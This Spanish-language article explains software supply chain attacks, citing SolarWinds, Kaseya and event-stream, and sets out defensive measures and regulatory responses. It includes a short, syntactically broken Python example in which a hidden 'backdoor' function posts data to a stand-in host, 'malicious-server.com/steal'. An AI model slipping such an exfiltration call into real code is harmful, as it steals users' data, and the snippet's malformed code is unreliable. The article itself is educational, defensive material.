Ataque a la Cadena de Suministro

Un ataque a la cadena de suministro es un tipo de ciberataque que apunta a una organización infiltrándose en su cadena de suministro. En lugar de atacar a la organización directamente, los atacantes comprometen a un proveedor, socio o componente de software de confianza del que la organización depende. Esto permite al atacante violar indirectamente las defensas de la empresa objetivo y obtener acceso a datos sensibles o sistemas.

Los ataques a la cadena de suministro explotan la confianza inherente entre una organización y sus proveedores externos. Las empresas a menudo comparten datos, integran sistemas o instalan software de sus proveedores sin someterlos al mismo escrutinio de seguridad que sus propios activos. Los atacantes aprovechan estas relaciones de confianza para introducir malware o puertas traseras en el entorno de la empresa.

La Compleja Red de la Cadena de Suministro de Software

El desarrollo de software moderno depende de una compleja red de dependencias y componentes de terceros. Una aplicación empresarial típica puede incluir código de docenas de bibliotecas de código abierto, frameworks y herramientas. La aplicación también puede integrarse con varios servicios en la nube, APIs y fuentes de datos. Cada uno de estos componentes y socios es un posible eslabón débil que un atacante podría comprometer.

La cadena de suministro de software se extiende más allá de solo dependencias de código. También incluye a las personas, procesos y sistemas involucrados en el desarrollo, construcción y despliegue de software. Por ejemplo, los atacantes podrían apuntar a la tubería de DevOps de una empresa, robando certificados de firma de código o inyectando malware en el proceso de construcción. También podrían phishing a desarrolladores o explotar debilidades en las herramientas de desarrollo para plantar puertas traseras en el código fuente.

Esta superficie de ataque compleja hace que los ataques a la cadena de suministro sean difíciles de detectar y prevenir. Los controles de seguridad tradicionales como los firewalls y el antivirus se enfocan en proteger el perímetro, pero los ataques a la cadena de suministro se infiltran a través de canales de confianza. Las organizaciones a menudo tienen visibilidad limitada en la postura de seguridad de sus proveedores, lo que dificulta la identificación y mitigación de riesgos.

Ejemplos de Ataques de Alta Relevancia a la Cadena de Suministro

Una representación simple de código de un ataque a la cadena de suministro se vería como esto:

import requests
def backdoor():
data = {"info": "datos sensibles"}
requests.post("http://malicious-server.com/steal", data=data)
def greet():
backdoor()
function print("¡Hola, mundo!")

Aquí hay una visualización del código:

Un desarrollador ejecutaría este código, sin darse cuenta del segmento malicioso que roba datos. Con la distribución del producto, la cantidad de datos robados aumenta exponencialmente.

Varios incidentes de alta relevancia en los últimos años han demostrado el impacto devastador de los ataques a la cadena de suministro. En 2020, el ataque a SolarWinds comprometió el proceso de construcción de software de la popular plataforma de gestión de TI. Los atacantes plantaron una puerta trasera en el código de SolarWinds, que luego fue distribuida a miles de clientes en una actualización de software rutinaria. Esto permitió a los atacantes violar múltiples agencias gubernamentales de EE.UU. y empresas Fortune 500.

El ataque a Kaseya en 2021 siguió un patrón similar. Los atacantes explotaron una vulnerabilidad en el software de gestión remota de Kaseya, que es usado por muchos proveedores de servicios de TI. Al comprometer Kaseya, los atacantes pudieron desplegar ransomware a cientos de clientes de los proveedores de servicios. Este único ataque interrumpió las operaciones de más de 1,000 empresas a nivel global.

El software de código abierto es otro objetivo frecuente de los ataques a la cadena de suministro. En 2018, los atacantes comprometieron el paquete event-stream en el repositorio NPM, que es utilizado por millones de proyectos de JavaScript. El atacante tomó control del paquete de su mantenedor original y liberó una actualización maliciosa que contenía una puerta trasera. Esto infectó cualquier aplicación que incorporó la nueva versión del paquete.

Estos ejemplos ilustran cómo un único compromiso en la cadena de suministro puede tener un efecto dominó generalizado. Los atacantes pueden aprovechar las redes de distribución de proveedores de software de confianza para escalar su impacto rápidamente. El radio de explosión de un ataque a la cadena de suministro puede ser mucho mayor que un ataque tradicional dirigido.

Defendiendo Contra Ataques a la Cadena de Suministro

Prevenir ataques a la cadena de suministro requiere un enfoque multifacético que aborde riesgos en todo el ciclo de vida del software. Las organizaciones deben comenzar mapeando su cadena de suministro e identificando todos los componentes, servicios y socios de terceros de los que dependen. Este inventario debe incluir tanto proveedores directos como dependencias indirectas, como las bibliotecas de código abierto utilizadas por un proveedor.

Luego, establezca requisitos de seguridad y procesos de evaluación para todos los proveedores. Exija a los proveedores que demuestren cumplimiento con estándares relevantes como ISO 27001, SOC 2 o NIST SP 800-53. Realice auditorías periódicas y pruebas de penetración para validar sus controles de seguridad. Incluya obligaciones de seguridad en los contratos, especificando la responsabilidad por las violaciones y los requisitos para notificación y cooperación inmediata durante incidentes.

Implemente fuertes controles de acceso y segmentación entre sistemas que procesan datos o código de proveedores. Use el principio de privilegio mínimo, otorgando a los proveedores los permisos mínimos necesarios para realizar su función. Monitoree la actividad de los proveedores en busca de comportamientos anómalos, como intentos de acceso no autorizados o transferencias de datos sospechosas. Esté preparado para cortar rápidamente el acceso de un proveedor en caso de una brecha.

Las prácticas de desarrollo seguro son críticas para mitigar riesgos en la cadena de suministro de software. Implemente la firma de código para asegurar la integridad de las versiones de software. Use herramientas automatizadas para escanear vulnerabilidades y código malicioso en componentes de terceros. Actualice y parche regularmente todos los sistemas, priorizando aquellos que tienen acceso a internet o procesan datos sensibles.

Finalmente, tenga un plan de respuesta a incidentes específico para ataques a la cadena de suministro. Defina roles y responsabilidades claras para investigar y contener una brecha que se origine en un proveedor. Realice ejercicios de simulacro para probar el plan e identificar brechas. Construya relaciones con proveedores clave antes de que ocurra un incidente, de modo que los canales de comunicación ya estén establecidos.

Conclusión

A medida que los ataques a la cadena de suministro continúan acaparando titulares, los reguladores y grupos de la industria están tomando nota. La Orden Ejecutiva de EE.UU. sobre la Mejora de la Ciberseguridad de la Nación incluye varias disposiciones enfocadas en asegurar la cadena de suministro de software. Dirige a las agencias federales a establecer estándares básicos de seguridad para los proveedores de software y requiere que los editores proporcionen una “lista de materiales de software” que enumere todos los componentes.

Iniciativas de la industria como la Fundación de Seguridad de Código Abierto (OpenSSF por sus siglas en inglés) están trabajando para mejorar la seguridad del software de código abierto. El OpenSSF está desarrollando mejores prácticas, herramientas y capacitación para ayudar a los desarrolladores a identificar y corregir vulnerabilidades en los proyectos. También opera un programa de recompensas por errores para motivar a los investigadores a encontrar y reportar fallas.

A medida que estos esfuerzos maduren, las organizaciones tendrán más orientación y recursos para ayudar a gestionar los riesgos de la cadena de suministro. Sin embargo, la complejidad del software moderno significa que los ataques a la cadena de suministro probablemente seguirán siendo una amenaza persistente. Las organizaciones deben mantenerse vigilantes, evaluando y adaptando constantemente sus defensas para mantenerse al ritmo de las tácticas de ataque en evolución.

La clave para la resiliencia es asumir compromisos y construir capas de seguridad a lo largo de la cadena de suministro. Identificando riesgos temprano, implementando controles fuertes y preparando planes para incidentes, las organizaciones pueden minimizar el impacto de los ataques a la cadena de suministro. La colaboración y el intercambio de información entre proveedores, clientes y pares de la industria también son esenciales para detectar y responder a estas amenazas rápidamente. Con un enfoque proactivo y holístico hacia la seguridad de la cadena de suministro, las organizaciones pueden seguir cosechando los beneficios de una economía globalmente conectada mientras gestionan los riesgos.